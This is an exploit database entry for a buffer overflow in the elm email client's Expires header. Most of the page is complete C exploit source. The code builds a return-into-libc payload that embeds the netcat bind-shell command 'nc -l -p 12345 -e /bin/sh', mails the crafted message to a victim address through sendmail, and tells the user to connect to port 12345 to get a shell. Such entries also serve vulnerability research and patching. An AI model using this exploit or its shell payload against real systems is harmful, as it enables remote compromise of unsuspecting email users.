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elm email client
by:
Ulf Harnhammar
7,5
CVSS
HIGH
Buffer Overflow
120 (Buffer Copy without Checking Size of Input)
CWE
Product Name: elm email client
Affected Version From: 2.5.8
Affected Version To: 2.5.8
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
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Platforms Tested: Redhat
2005

Exploit for elm email client < 2.5.8 overflow in Expires field

Exploit code for the bug posted by Ulf Harnhammar (metaurtelia.com) which is a buffer overflow vulnerability in elm email client < 2.5.8 in Expires field. The exploit code adds an exploit buffer to the email and sends it using the elm command. The exploit buffer contains the address of the system() function, the address of the string to be executed and the address of the exit() function.

Mitigation:

Upgrade to the latest version of elm email client.
Source

Exploit-DB raw data:

/*

  Exploit code for the bug posted by Ulf Harnhammar (metaurtelia.com)
  http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html

  Probably you will need to change SYSLOC and STRLOC to work on your box

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 83
#define EMAIL  "tmpmail"
#define STRING "`nc -l -p 12345 -e /bin/sh`&##"
#define SYSLOC 0x42041e50
#define STRLOC 0x4001a207
#define EXTLOC 0x4202b0f0

char expire[]="\x45\x78\x70\x69\x72\x65\x73\x3A\x20";

int main(int argc, char **argv)
{
      char buffer[BUFFER];
      char *email = NULL;
      char *user = NULL;
      int i;
      long extloc, sysloc, strloc;
      FILE *fp;

      if(argc != 2) {
        puts("Usage: ./elmex <user@where.com>");
        exit(EXIT_FAILURE);
      }

      if(strlen(argv[1]) > 50) {
              puts("[-] Sorry, email address too long!");
              exit(EXIT_FAILURE);
      }

      user = (char *)malloc(strlen(argv[1]));
      if(!user) {
              perror("malloc");
              exit(EXIT_FAILURE);
      }

      email = EMAIL;

      memset(user, '\0', strlen(argv[1]));
      memcpy(user, argv[1], strlen(argv[1]));

      puts("\nExploit for elm email client < 2.5.8 overflow in Expires field");
      puts("Tested: Redhat on quiet a Sunday by c0ntex[at]open-security.org\n");

      extloc = EXTLOC;
      sysloc = SYSLOC;
      strloc = STRLOC;

      memset(buffer, '\0', BUFFER);
      memcpy(buffer, expire, strlen(expire));

      for(i = strlen(expire); i < 53; i++)
              *(buffer+i) = 0x41;
      for(i = 53; i < 57; i += 4)
              *(long *)&buffer[i] = sysloc;
      for(i = 57; i < 61; i++)
              *(long *)&buffer[i] = extloc;
      for(i = 61; i < 65; i += 4)
              *(long *)&buffer[i] = strloc;

      memcpy(&buffer[65], STRING, strlen(STRING));
      buffer[BUFFER] = '\0';

      puts("[-] Adding exploit buffer to email");

      fp = fopen(email, "w");
      if(!fp) {
              perror("fopen"); free(user);
              exit(EXIT_FAILURE);
      }

      fprintf(fp,
               "From: User c0ntex <c0ntex@open-security.org> Sun Aug 21 13:37:00 2005\n"
               "Return-Path: <c0ntex@localhost\n"
               "Date: Sun, 21 Aug 2005 13:37:00 %s\n"
               "Subject: Insecure?\n"
               "To: %s\n"
               "%s\n", STRING, user, buffer);
      fclose(fp);

      printf("[-] Emailing %s with malicious content\n", argv[1]);

      if(system("/bin/cat ./tmpmail | /usr/sbin/sendmail -t") <0) {
              perror("system");  free(user);
              exit(EXIT_FAILURE);
      }

      puts("[-] Connect to system on port 12345 to get your shell\n");

      if(unlink(EMAIL) <0)
              perror("unlink");

      free(user);

      return EXIT_SUCCESS;
}

// milw0rm.com [2005-08-22]